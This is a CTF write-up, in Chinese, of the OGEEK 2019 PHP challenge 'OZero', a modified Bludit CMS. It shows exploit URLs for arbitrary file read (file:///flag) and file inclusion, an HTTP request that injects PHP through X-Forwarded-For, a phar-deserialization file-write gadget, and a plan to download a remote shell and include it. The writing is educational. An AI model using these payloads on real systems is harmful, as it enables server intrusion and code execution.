OGEEK 2019 OZero writeup

To Begin With

上周末参加了 OGEEK 网络安全挑战赛决赛,最终在队友的 carry 下躺赢,拿到第三名的成绩。运气比较好,拿到了一个 PHP 题目 OZero 的一血(不会 JAVA,我太难了),本来这个题目偏简单一些(只是从结果来,挖的时候还是头疼的一匹,不会 JAVA 只能强看 PHP 了 233),不过挖到的洞最终也没达到大面积 RCE,还是有点遗憾(菜)。

赛后 cyc1e 师傅跟我说,题目里有个后门,本来用 D 盾扫过没有后门的,那这个后门怕是其他途径写进去的,又分析了一下,于是写了本篇水文。

在这里按发现的顺序写一下分析出来的三个点吧,可能还有其他的漏洞,太菜看不出来 .. 膜各位修漏洞巨快的师傅。

Arbitrary File Read

在 bl-kernel/helpers/tcp.class.php 中,调用了 file_put_contents

public static function download($url, $destination)
{
    $data = self::http($url, $method='GET', $verifySSL=true, $timeOut=30, $followRedirections=true, $binary=true, $headers=false);
    return file_put_contents($destination, $data);
}

寻找调用,可以在 bl-kernel/functions.php 中发现调用了该函数

# bl-kernel/functions.php
function buildPagesFor($for, $categoryKey=false, $tagKey=false) {
	global $pages;
	global $categories;
	global $tags;
	global $site;
	global $url;

	// Get the page number from URL
	$pageNumber = $url->pageNumber();

	if ($for=='home') {
		$onlyPublished = true;
		$numberOfItems = $site->itemsPerPage();
		$list = $pages->getList($pageNumber, $numberOfItems, $onlyPublished);

		// Include sticky pages only in the first page
		if ($pageNumber==1) {
			$sticky = $pages->getStickyDB();
			$list = array_merge($sticky, $list);
		}
	}
	elseif ($for=='category') {
		$numberOfItems = $site->itemsPerPage();
		// Check media
		$music = $_GET['path'];
	

		if(isset($music)){
			
			if(!Sanitize::pathFile($music)){
				
				$filename = basename($music);
				TCP::download($music,PATH_UPLOADS_PROFILES.md5($filename)."."."avi");
			}
			else{
				Log::set(__METHOD__.LOG_SEP.'Media request in  '.date('Y-m-d'), LOG_TYPE_INFO);

			}
		}
		$list = $categories->getList($categoryKey, $pageNumber, $numberOfItems);
	}

分析可知,调用过程基本没有过滤,判断了当前的 $for,然后就进入了任意远程文件下载的过程。那我们只需要在 path 参数传入 file:///flag 即可,并且下载的文件路径和文件名都明确了。

那我们需要确定函数的调用过程,查看下引用

可以发现有个调用正是我们需要的 Category 参数。

function buildPagesByCategory() {
	global $url;

	$categoryKey = $url->slug();
	return buildPagesFor('category', $categoryKey, false);
}

继续往上跟,发现到了 boot 目录,这个目录的文件都会自动加载。

分析下上下文,要进入这个逻辑需要满足

elseif ($url->whereAmI()==='category') {

	$content = buildPagesByCategory();
}

$url 是全局变量,找个位置确认下他的值,最终可以发现满足 http://127.0.0.1:8081/category/ 即可,那我们只需要读取 flag,即 http://127.0.0.1:8081/category/?path=file:///flag

文件存储在 PATH_UPLOADS_PROFILES.md5($filename),看一下常量定义,定位到文件位置并访问 http://127.0.0.1:8081/bl-content/uploads/profiles/327a6c4304ad5938eaf0efb6cc3e53dc.avi

其实这个洞挺好用的 .. 可惜一血直接打的任意文件读,导致下一个洞用起来有点吃亏。

Arbitrary File Include

这个洞就有点秀了 .. 强行文件包含可还行。
可以在 bl-kernel/boot/rules/60.router.php 发现调用了 include

if ($url->uri()==HTML_PATH_ROOT.ADMIN_URI_FILTER) {
	Redirect::url(DOMAIN_ADMIN);
}

// Redirect blog, from /blog to /blog/
// This rule only works when the user set a page as homepage
if ($url->uri()==HTML_PATH_ROOT.'blog' && $site->homepage()) {
	$filter = $url->filters('blog');
	$finalURL = Text::addSlashes(DOMAIN_BASE.$filter, false, true);
	Redirect::url($finalURL);
}

// Redirect pages, from /my-page/ to /my-page and load plugin
if ($url->whereAmI()=='page' && !$url->notFound()) { // 首先判断当前位置,page 即独立的 page 页面,可以直接键入 url 触发
	$pageKey = $url->slug(); // slug 即 path 部分(大概是)
	
	if (Text::endsWith($pageKey, '/')) {
		$pageKey = rtrim($pageKey, '/');
		Redirect::url(DOMAIN_PAGES.$pageKey);
	}
    else{ //要进这个判断
	$pageKey = explode("/", $pageKey); // 分割
	foreach($pageKey as $key){
		if(constant($key)) //判断地址中是否用到了常量,并解析,其实用处不大
			$plugin .=constant($key);
		else
			$plugin .="/".$key; // 如果不是常量,加 / 并拼接
	}

    }
	$plugin = str_replace("..","/",$plugin); //替换掉 .. ,于是只能使用绝对目录了
	
	if(file_exists($plugin)){ //文件是否存在,很好通过
		$plugin = addslashes($plugin); // 问题不大
		include $plugin;
	}
}

分析下整体的逻辑,结合界面调试下,很快能写出第一个利用 http://127.0.0.1:8081/flag,然而这还是一个任意文件读,既然有包含,总得要试试 RCE,不过登录界面一直猜不到密码,上传(如果有)的作用不大了。

这时候想到了第一个洞,我可以利用它来控制服务器本地的文件内容。那我们的预期逻辑应该就是从第三方下载 shell,然后包含 shell 文件达到 RCE!

想了下整理逻辑是可以打通的,但是写完 payload 测试发现因为第一个洞打出去以后,大多数队伍都修复了(太强了吧),导致组合利用出现了很大的问题。

Specific File Write

cyc1e 师傅说某个 (security.php) 文件里有后门,看了一下应该是某个师傅测试的时候留下的,不过不能触发。

# bl-content/databases/security.php
<?php defined('BLUDIT') or die('Bludit CMS.'); ?>
{
    "minutesBlocked": 5,
    "numberFailuresAllowed": 10,
    "blackList": {
        "<?php phpinfo(); ?>": {
            "lastFailure": 1569410205,
            "numberFailures": 1
        }
    }
}

没有路由能够达到这个文件,还以为可以直接访问的,结果也不行。那先分析一下怎么写入 payload 的吧。

我们在 bl-kernel/security.class.php 注意到 DB_SECURITY,由此分析一下整体逻辑。

<?php defined('BLUDIT') or die('Bludit Badass CMS.');

class Security extends dbJSON
{
	protected $dbFields = array(
		'minutesBlocked'=>5,
		'numberFailuresAllowed'=>10,
		'blackList'=>array()
	);

	function __construct()
	{
		parent::__construct(DB_SECURITY);
	}

	// ====================================================
	// BRUTE FORCE PROTECTION
	// ====================================================

	public function isBlocked()
	{
		$ip = $this->getUserIp();

		if (!isset($this->db['blackList'][$ip])) {
			return false;
		}

		$currentTime = time();
		$userBlack = $this->db['blackList'][$ip];
		$numberFailures = $userBlack['numberFailures'];
		$lastFailure = $userBlack['lastFailure'];

		// Check if the IP is expired, then is not blocked
		if ($currentTime > $lastFailure + ($this->db['minutesBlocked']*60)) {
			return false;
		}

		// The IP has more failures than number of failures, then the IP is blocked
		if ($numberFailures >= $this->db['numberFailuresAllowed']) {
			Log::set(__METHOD__.LOG_SEP.'IP Blocked:'.$ip);
			return true;
		}

		// Otherwise the IP is not blocked
		return false;
	}

	// Add or update the current client IP on the blacklist
	public function addToBlacklist()
	{
		$ip = $this->getUserIp();
		$currentTime = time();
		$numberFailures = 1;

		if (isset($this->db['blackList'][$ip])) {
			$userBlack = $this->db['blackList'][$ip];
			$lastFailure = $userBlack['lastFailure'];

			// Check if the IP is expired, then renew the number of failures
			if($currentTime <= $lastFailure + ($this->db['minutesBlocked']*60)) {
				$numberFailures = $userBlack['numberFailures'];
				$numberFailures = $numberFailures + 1;
			}
		}

		$this->db['blackList'][$ip] = array('lastFailure'=>$currentTime, 'numberFailures'=>$numberFailures);
		Log::set(__METHOD__.LOG_SEP.'Blacklist, IP:'.$ip.', Number of failures:'.$numberFailures);
		return $this->save();
	}

	public function getNumberFailures($ip=null)
	{
		if(empty($ip)) {
			$ip = $this->getUserIp();
		}

		if(isset($this->db['blackList'][$ip])) {
			$userBlack = $this->db['blackList'][$ip];
			return $userBlack['numberFailures'];
		}
	}

	public function getUserIp()
	{
		if (getenv('HTTP_X_FORWARDED_FOR')) {
			$ip = getenv('HTTP_X_FORWARDED_FOR');
		} elseif (getenv('HTTP_CLIENT_IP')) {
			$ip = getenv('HTTP_CLIENT_IP');
		} else {
			$ip = getenv('REMOTE_ADDR');
		}
		return $ip;
	}
}

先不去看父类的实现,我们可以看到 addToBlacklist 将客户端可控的 XFF 等直接保存了下来,并且调用了 save 函数,跟一下。

public function save()
{
    $data = '';
    if ($this->firstLine) {
        $data  = "<?php defined('BLUDIT') or die('Bludit CMS.'); ?>".PHP_EOL;
    }

    // Serialize database
    $data .= $this->serialize($this->db);

    // Backup the new database.
    $this->dbBackup = $this->db;

    // LOCK_EX flag to prevent anyone else writing to the file at the same time.
    if (file_put_contents($this->file, $data, LOCK_EX)) {
        return true;
    } else {
        Log::set(__METHOD__.LOG_SEP.'Error occurred when trying to save the database file.', LOG_TYPE_ERROR);
        return false;
    }
}

发现先在文件头写入判断,之后写入数据,和我们看到的文件是一样的。再来看一下调 addToBlacklist 的位置。

# bl-kernel/admin/controllers/login.php
function checkLogin($args)
{
	global $security;
	global $login;
	global $L;

	if ($security->isBlocked()) {
		Alert::set($L->g('IP address has been blocked').'<br>'.$L->g('Try again in a few minutes'), ALERT_STATUS_FAIL);
		return false;
	}

	if ($login->verifyUser($_POST['username'], $_POST['password'])) {
		if (isset($_POST['remember'])) {
			$login->setRememberMe($_POST['username']);
		}
		// Renew the token. This token will be the same inside the session for multiple forms.
		$security->generateTokenCSRF();

		Redirect::page('dashboard');
		return true;
	}

	// Bruteforce protection, add IP to the blacklist
	$security->addToBlacklist();

	// Create alert
	Alert::set($L->g('Username or password incorrect'), ALERT_STATUS_FAIL);
	return false;
}

显然是在登录失败后对 ip 进行的记录。试一下:

POST /admin/ HTTP/1.1
Host: 127.0.0.1:8081
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:52.0) 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 82
X-Forwarded-For: <?php phpinfo(); ?>
Connection: close
Upgrade-Insecure-Requests: 1

tokenCSRF=e10adc3949ba59abbe56e057f20f883e&username=admin&password=admin&save=

果然写入了文件。

后来想了想,发现这个洞(虽然还不算是)的师傅也很头疼,写了 shell 不能用,而我因为第一个洞的原因也不能 RCE,如果把文件包含和这个组合起来就太棒了(做梦)。

curl http://127.0.0.1:8081/var/www/html/bl-content/databases/security.php and getshell.

Unserialize

全局搜索魔法函数,可以发现

class TCP {

	public $filepath;
    public $error_log;
    
    public static function http($url, $method='GET', $verifySSL=true, $timeOut=10, $followRedirections=true, $binary=true, $headers=false)
	{
		if (function_exists('curl_version')) {
			$ch = curl_init();
			curl_setopt($ch, CURLOPT_URL, $url);
			curl_setopt($ch, CURLOPT_HEADER, $headers);
			curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
			curl_setopt($ch, CURLOPT_FOLLOWLOCATION, $followRedirections);
			curl_setopt($ch, CURLOPT_BINARYTRANSFER, $binary);
			curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, $verifySSL);
			curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeOut);
			curl_setopt($ch, CURLOPT_TIMEOUT, $timeOut);
			if ($method=='POST') {
				curl_setopt($ch, CURLOPT_POST, true);
			}
			$output = curl_exec($ch);
			if ($output===false) {
				Log::set('Curl error: '.curl_error($ch));
			}
			curl_close($ch);
		} else {
			$options = array(
				'http'=>array(
					'method'=>$method,
					'timeout'=>$timeOut,
					'follow_location'=>$followRedirections
				),
				"ssl"=>array(
					"verify_peer"=>false,
					"verify_peer_name"=>false
				)
			);
			$stream = stream_context_create($options);
			$output = file_get_contents($url, false, $stream);
		}

		return $output;
	}

	public static function download($url, $destination)
	{
		$data = self::http($url, $method='GET', $verifySSL=true, $timeOut=30, $followRedirections=true, $binary=true, $headers=false);
		return file_put_contents($destination, $data);
	}
    
    public function __destruct(){
      if(isset($this->filepath) && isset($this->error_log)){ 
            file_put_contents(PATH_UPLOADS_PROFILES.$this->filepath,$this->error_log);
    }
}

在该类中存在可利用的魔法函数,而且任意文件写(写这么明显,一定是预设的洞了,当时咋菜的只想着打前两个了呢)。那我们只需要找到一个触发点,看了下没有直接可用的反序列化,只能考虑 phar 来打了,想一下可控的文件路径,刚好第一个洞可以用。

那整体思路就是通过第一个任意远程文件下载来打了,先远程下载一个 phar 文件,然后 phar 协议触发,但是不确定当时的环境了,没找到其他的触发点,那估计这个环境是可以进入非 curl 的判断吧。

Updated At: Author:xmsec
Chief Water dispenser Manager of Lancet, delivering but striving.
Github
comments powered by Disqus